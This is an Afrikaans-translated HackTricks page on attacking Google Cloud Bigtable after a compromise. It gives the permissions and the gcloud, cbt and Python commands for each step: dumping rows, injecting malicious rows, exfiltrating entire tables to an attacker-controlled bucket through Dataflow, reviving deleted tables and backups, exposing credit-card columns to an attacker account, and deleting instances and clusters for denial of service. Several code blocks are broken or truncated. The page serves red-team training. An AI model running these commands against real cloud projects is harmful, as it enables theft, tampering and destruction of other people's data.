GCP - Bigtable Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Bigtable
Vir meer inligting oor Bigtable check:
Tip
Installeer die
cbtCLI een keer via die Cloud SDK sodat die opdragte hieronder lokaal werk:Installeer cbt CLI
gcloud components install cbt
Lees rye
Permissies: bigtable.tables.readRows
cbt word saam met die Cloud SDK gelewer en kommunikeer met die admin/data APIs sonder enige middleware. Rigs dit na die gekompromitteerde project/instance en dump rye direk vanaf die tabel. Beperk die scan as jy net ân kykie nodig het.
Lees Bigtable inskrywings
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Skryf rye
**Permissies:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hĂȘ om die verandering te bevestig).
Gebruik dieselfde hulpmiddel om willekeurige selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.
<details>
<summary>Inspuit kwaadwillige ry</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set aanvaar ruwe bytes via die @/path sintaks, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.
Eksfiltreer rye na jou bucket
Permissies: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Dit is moontlik om die inhoud van ân hele tabel na ân bucket wat deur die aanvaller beheer word te eksfiltreer deur ân Dataflow-job te begin wat rye in ân GCS bucket wat jy beheer, stroom.
Note
Let wel dat jy die permissie
iam.serviceAccounts.actAsoor ân SA met voldoende permissies nodig sal hĂȘ om die uitvoer uit te voer (by verstek, tensy anders aangedui, sal die verstek compute SA gebruik word).
Eksporteer Bigtable na GCS bucket
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
âgcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
âproject=gcp-labs-3uis1xlx
âregion=us-central1
âparameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
âstaging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Skakel die template na `Cloud_Bigtable_to_GCS_Parquet` of `Cloud_Bigtable_to_GCS_SequenceFile` as jy Parquet/SequenceFile-uitsette in plaas van JSON wil hĂȘ. Die toestemmings is dieselfde; slegs die template-pad verander.
### Importeer rye
**Toestemmings:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Dit is moontlik om die inhoud van 'n hele tabel vanaf 'n bucket wat deur die aanvaller beheer word te importeer deur 'n Dataflow-job te loods wat rye na 'n GCS bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lĂȘer met die data wat ingevoer moet word en die verwagte schema moet skep. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lĂȘer voeg
> [!NOTE]
> Neem kennis dat jy die toestemming `iam.serviceAccounts.actAs` oor 'n SA met genoegsame regte nodig sal hĂȘ om die export uit te voer (standaard, tensy anders aangedui, sal die default compute SA gebruik word).
<details>
<summary>Importeer vanaf GCS bucket na Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Herstel van rugsteune
Toestemmings: bigtable.backups.restore, bigtable.tables.create.
ân aanvaller met hierdie toestemmings kan ân rugsteun in ân nuwe tabel onder sy beheer herstel om ou sensitiewe data te kan terugkry.
Herstel Bigtable-rugsteun
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
âsource=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
âasync
âdestination=<TABLE_ID_NEW>
âdestination-instance=<INSTANCE_ID_DESTINATION>
âproject=<PROJECT_ID_DESTINATION>
</details>
### Undelete tables
**Permissions:** `bigtable.tables.undelete`
Bigtable ondersteun sagte verwydering met 'n genadeperiode (gewoonlik 7 dae by verstek). Gedurende hierdie venster kan 'n aanvaller met die `bigtable.tables.undelete`-toestemming 'n onlangs verwyderde tabel herstel en al sy data terugkry, wat moontlik toegang gee tot sensitiewe inligting wat as vernietig beskou is.
Dit is veral nuttig vir:
- Herwinning van data uit tabelle wat deur defenders verwyder is tydens incident response
- Toegang tot historiese data wat doelbewus uitgevee is
- Om per ongeluk of kwaadwillige verwyderings om te keer en persistence te behou
<details>
<summary>Undelete Bigtable table</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
Die undelete-operasie werk slegs binne die gekonfigureerde bewaarperiode (verstek 7 dae). Nadat hierdie venster verstryk het, word die tabel en sy data permanent verwyder en kan nie deur hierdie metode herstel word nie.
Skep Gemagtigde Weergawes
Permissies: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Gemagtigde weergawes laat jou toe om ân gekeurde substel van die tabel voor te stel. In plaas daarvan om minste voorregte te eerbiedig, gebruik dit om presies die sensitiewe kolom-/rystelle wat vir jou saak maak te publiseer en jou eie prinsipaal op die witlys te sit.
Warning
Die ding is dat om ân gemagtigde weergawes te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer, daarom verkry jy geen ekstra toestemmings nie â hierdie tegniek is dus meestal nutteloos.
Skep gemagtigde weergawes
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
âinstance=
âdefinition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
âinstance=
âmember=âuser:attacker@example.comâ ârole=âroles/bigtable.readerâ
</details>
Aangesien toegang tot die view beperk is, misken verdedigers dikwels die feit dat jy pas 'n nuwe hoë-sensitiwiteits-endpoint geskep het.
### Lees Authorized Views
**Permissions:** `bigtable.authorizedViews.readRows`
Indien jy toegang tot 'n Authorized View het, kan jy data daaruit lees met die Bigtable client libraries deur die naam van die Authorized View in jou leesversoeke te spesifiseer. Let daarop dat die Authorized View waarskynlik sal beperk wat jy vanuit die tabel kan lees. Hieronder is 'n voorbeeld met Python:
<details>
<summary>Lees vanaf Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Denial of Service via Delete Operations
Permissions: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Enige van die Bigtable delete-permissies kan vir denial of service-aanvalle gebruik word. ân Aanvaller met hierdie permissies kan bedrywighede ontwrig deur kritieke Bigtable-hulpbronne te verwyder:
bigtable.appProfiles.delete: Verwyder toepassingsprofiele, wat kliëntverbindinge en routeringskonfigurasies breekbigtable.authorizedViews.delete: Verwyder authorized views, wat wettige toegangspaaie vir toepassings afsnybigtable.authorizedViews.deleteTagBinding: Verwyder tagbindinge van authorized viewsbigtable.backups.delete: Vernietig backup-snapshots, en verwyder daarmee rampherstelopsiesbigtable.clusters.delete: Verwyder hele clusters, wat onmiddellike onbeskikbaarheid van data veroorsaakbigtable.instances.delete: Verwyder volledige Bigtable-instances, wat alle tabelle en konfigurasies uitveebigtable.tables.delete: Verwyder individuele tabelle, wat dataverlies en toepassingsfoute veroorsaak
Verwyder Bigtable-hulpbronne
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
âinstance=
Delete a backup
gcloud bigtable backups delete
âinstance=
Delete an app profile
gcloud bigtable app-profiles delete
âinstance=
Delete a cluster
gcloud bigtable clusters delete
âinstance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteunkopieë bestaan voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.
> [!TIP]
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

